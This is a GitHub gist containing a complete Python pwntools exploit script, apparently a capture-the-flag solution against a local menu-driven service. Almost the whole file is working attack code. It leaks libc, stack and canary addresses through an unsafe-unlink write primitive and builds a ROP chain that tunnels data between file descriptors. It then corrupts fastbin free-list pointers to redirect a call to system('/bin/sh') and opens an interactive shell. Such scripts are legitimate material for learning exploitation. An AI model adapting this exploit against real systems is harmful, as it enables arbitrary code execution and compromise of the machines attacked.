Created
July 18, 2017 15:56
-
-
Save niklasb/fc3bb413db97b64a0b07082894d1e405 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# First stage: unsafe unlink | |
# Second stage (via a tunnel through a ROP chain): fastbin free pointer corruption | |
from pwn import * | |
import struct | |
import sys | |
offset_close = 0x00000000000f78b0 | |
offset_env = 0x3c6f38 | |
p64 = lambda v: struct.pack("<Q", v) | |
p32 = lambda v: struct.pack("<I", v) | |
s = remote("127.0.0.1", 4444) | |
s.recvuntil("> ") | |
def add_property(prop, lgth): | |
s.recvuntil("length: ") | |
if lgth == -4: | |
lgth = len(prop)+1 | |
s.sendline(str(lgth)) | |
s.recvuntil(": ") | |
s.sendline(prop) | |
def set_firstname(firstname, lgth=-4): | |
s.sendline("1") | |
add_property(firstname, lgth) | |
def set_lastname(lastname, lgth=-4): | |
s.sendline("2") | |
add_property(lastname, lgth) | |
def set_ssid(ssid, lgth=-4): | |
s.sendline("3") | |
add_property(ssid, lgth) | |
def set_addr(addr, lgth=-4): | |
s.sendline("4") | |
add_property(addr, lgth) | |
def add_user(firstname, lastname, ssid, addr): | |
s.sendline("1") | |
s.recvuntil("> ") | |
set_firstname(firstname) | |
s.recvuntil("> ") | |
set_lastname(lastname) | |
s.recvuntil("> ") | |
set_ssid(ssid) | |
s.recvuntil("> ") | |
set_addr(addr) | |
s.recvuntil("> ") | |
s.sendline("6") | |
s.recvuntil("> ") | |
def list_candidates(): | |
s.sendline("3") | |
return s.recvuntil("> ") | |
def write(what, where): | |
s.sendline("1") | |
s.recvuntil("> ") | |
set_firstname("AAAA") | |
s.recvuntil("> ") | |
set_lastname("BBBB") | |
set_firstname(p64(what) + p64(where - 0x10) + p64(32) + p64(0x20) + "A"*8 + "B"*8, lgth=-1) | |
s.sendline("2") | |
s.recvuntil(": ") | |
s.sendline("0") | |
s.recvuntil("> ") | |
s.sendline("7") | |
add_user('a','b','c','d') | |
close_got = 0x604058 | |
strtoull_got = 0x604078 | |
write(close_got, 0x604100) | |
s.recvuntil("> ") | |
x = list_candidates() | |
leak = u64(x[:8]) | |
leak = leak & 0xffffffffffff | |
libc = leak - offset_close | |
print '[*] libc @ 0x%016x' % libc | |
custom_heap = libc - 0x1001000 | |
print '[*] custom heap @ 0x%016x' % custom_heap | |
write(libc + offset_env, 0x604100) | |
s.recvuntil("> ") | |
x = list_candidates() | |
leak = u64(x[:8]) | |
stack = leak & 0xffffffffffff | |
print '[*] stack @ 0x%016x' % stack | |
# cookie_loc = 0x7fffffffe349 - 0x0007fffffffe578+stack | |
cookie_loc = 0x7fffffffe479 - 0x0007fffffffe578+stack | |
write(cookie_loc, 0x604100) | |
s.recvuntil("> ") | |
x = list_candidates() | |
leak = u64('\0'+x[:7]) | |
cookie = leak | |
print '[*] cookie = %016x' % cookie | |
heaploc = custom_heap + 0x170 | |
print '[*] heap data @ 0x%016x' % heaploc | |
target = 0x7fffffffe2f0 - 0x0007fffffffe538+stack | |
print '[*] Target = %016x' % target | |
# know data which will be placed on the heap | |
heapdat = '' | |
heapdat += 'A'*0x100 | |
pop_rdi_ret = libc + 0x21102 | |
pop_rsi_ret = libc + 0x00000000000202e8 | |
pop_rdx_ret = libc + 0x0000000000001b92 | |
pop_rax_ret = libc + 0x0000000000033544 | |
syscall_ret = libc + 0xbc375 | |
curbrk = libc + 0x5f10d8 | |
payload = '' | |
fixes = [] | |
fdout = 8 | |
fdin = 5 | |
def do(v): | |
global payload | |
payload += p64(v) | |
def pop_rdi(v): | |
do(pop_rdi_ret) | |
do(v) | |
def pop_rsi(v): | |
do(pop_rsi_ret) | |
do(v) | |
def pop_rdx(v): | |
do(pop_rdx_ret) | |
do(v) | |
def pop_rax(v): | |
do(pop_rax_ret) | |
do(v) | |
def pop_rbx(v): | |
do(libc + 0x9796c) | |
do(v) | |
def rbp(x): | |
do(libc + 0xac2c7) | |
do(x) | |
def leave(): | |
do(libc + 0x115b37) | |
def rsp(x): | |
rbp(x-8) | |
leave() | |
def syscall(): | |
do(syscall_ret) | |
def trap(): | |
# place breakpoint here to debug ROP chain. It's a ret not reached in the | |
# child process | |
do(0x401313) | |
def data(x): | |
global heapdat | |
res = heaploc + len(heapdat) - 0x100 | |
heapdat += x | |
return res | |
def mov_rdx_rax(): | |
# 0x5905c 4889C2 mov rdx,rax | |
# 0x5905f 488B83D8000000 mov rax,QWORD PTR [rbx+0xd8] | |
# 0x59066 FF5038 call QWORD PTR [rax+0x38] | |
rax = data(p64(pop_rdi_ret)) - 0x38 | |
rbx = data(p64(rax)) - 0xd8 | |
pop_rbx(rbx) | |
offset, val = len(payload), libc + 0x5905c | |
fixes.append((offset, val)) | |
do(val) | |
def write(where, what): | |
# 0x2d9d2 488910 mov QWORD PTR [rax],rdx | |
# 0x2d9d5 C3 ret | |
pop_rax(where) | |
pop_rdx(what) | |
do(libc + 0x2d9d2) | |
def stage2(): | |
buf = custom_heap + 0x2000 | |
bufsz = 0x100000 | |
# Leak heap address | |
pop_rdi(1) | |
pop_rsi(curbrk) | |
pop_rdx(8) | |
pop_rax(1) | |
syscall() | |
# the following is a simple tunnel that reads from STDIN, writes to | |
# the IPC fd and back | |
loop_start = len(payload) | |
pop_rdi(0) | |
pop_rsi(buf) | |
pop_rdx(bufsz) | |
pop_rax(0) | |
syscall() | |
mov_rdx_rax() | |
pop_rdi(fdout) | |
pop_rsi(buf) | |
pop_rax(1) | |
syscall() | |
pop_rdi(fdin) | |
pop_rsi(buf) | |
pop_rdx(bufsz) | |
pop_rax(0) | |
syscall() | |
mov_rdx_rax() | |
pop_rdi(1) | |
pop_rsi(buf) | |
pop_rax(1) | |
syscall() | |
rop_loc = target+5*8 | |
# Parts of the ROP chain got corrupted, fix them up | |
for offset, val in fixes: | |
write(rop_loc + offset, val) | |
# loop | |
rsp(rop_loc + loop_start) | |
stage2() | |
rop = payload | |
if len(rop) <= 0x100: | |
rop += 'A'*(0x100-len(rop)) | |
assert len(heapdat) < 1024 | |
heapdat += 'D'*(1024-len(heapdat)) | |
add_user('x','g','ast',heapdat) | |
s.sendline("1") | |
s.recvuntil("> ") | |
set_firstname("A"*0x60) | |
s.recvuntil("> ") | |
set_lastname("BBBB") | |
s.recvuntil("> ") | |
set_firstname("A"*24 + p64(0x21) + p64(target), lgth=-1) | |
s.recvuntil("> ") | |
set_addr("EEEE") | |
s.recvuntil("> ") | |
set_ssid('A'*8 + p64(cookie) + 'C'*8 + rop) | |
s.recvuntil("> ") | |
# this will trigger our ROP chain | |
s.sendline('7') | |
# First thing the ROP chain does is leak the heap address, so read it | |
heap = struct.unpack('<Q', s.recv(8))[0] | |
print '[*] glibc heap @ 0x%016x' % heap | |
def prop(s): | |
assert not '\0' in s | |
return p64(len(s))+s | |
def delete(ssid): | |
cmd = p32(3) | |
cmd += prop(ssid) | |
s.send(cmd) | |
assert '\0'*4 == s.recv(4) | |
def add(fname, lname, ssid, addr): | |
cmd = p32(2) | |
cmd += prop(fname) | |
cmd += prop(lname) | |
cmd += prop(ssid) | |
cmd += prop(addr) | |
s.send(cmd) | |
assert '\0'*4 == s.recv(4) | |
def check(ssid, sz=None, wait=True): | |
if sz == None: | |
sz = len(ssid) | |
cmd = p32(1) | |
cmd += p64(sz) | |
cmd += ssid | |
if len(ssid) < sz: | |
cmd += '\0' | |
s.send(cmd) | |
if wait: | |
return struct.unpack("<I",s.recv(4))[0] | |
def overflow(payload): | |
assert not '\0' in payload | |
cmd = p32(1) | |
cmd += p64(2**64-1) | |
cmd += payload + '\0' | |
s.send(cmd) | |
return struct.unpack("<I",s.recv(4))[0] | |
for i in range(130): | |
add('a', 'a', 'a%d'%i, 'a') | |
# make some holes | |
check("a"*0x20) | |
check("a"*0x30) | |
check("a"*0x40) | |
check("a"*0x50) | |
check("a"*0x60) | |
add('a', 'a', 'af', 'a') | |
delete("af") | |
check("a") | |
victim_ssid = 'a'*0x50 | |
add('a'*0x20, 'a'*0x40, victim_ssid, 'a'*0x60) | |
# increase size of following fastbin chunk | |
overflow("A"*24 + chr(0x71)) | |
check("x"*8 + chr(0x61), 0x70) | |
# delete the expanded chunk, so it gets added to the free list | |
delete(victim_ssid) | |
fake_fastbin = heap + 8 | |
# allocate a fastbin which overlaps with a freelist pointer | |
check("c"*0x60 + p32(fake_fastbin)) | |
# fix up size field | |
for i in range(1, 8): | |
check("c"*(0x60-i)) | |
check("c"*(0x60-8) + chr(0x81)) | |
# allocate once | |
add("c"*0x70, "d"*0x20, "e"*0x20, "f"*0x20) | |
rip = libc+0x45390 #system | |
sh = "/bin/sh;#" | |
sh += "c"*(16-len(sh)) | |
# allocate twice, this will get allocated over the hash table struct -> boom! | |
check(sh + p64(rip), 0x70, wait=False) | |
s.interactive() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment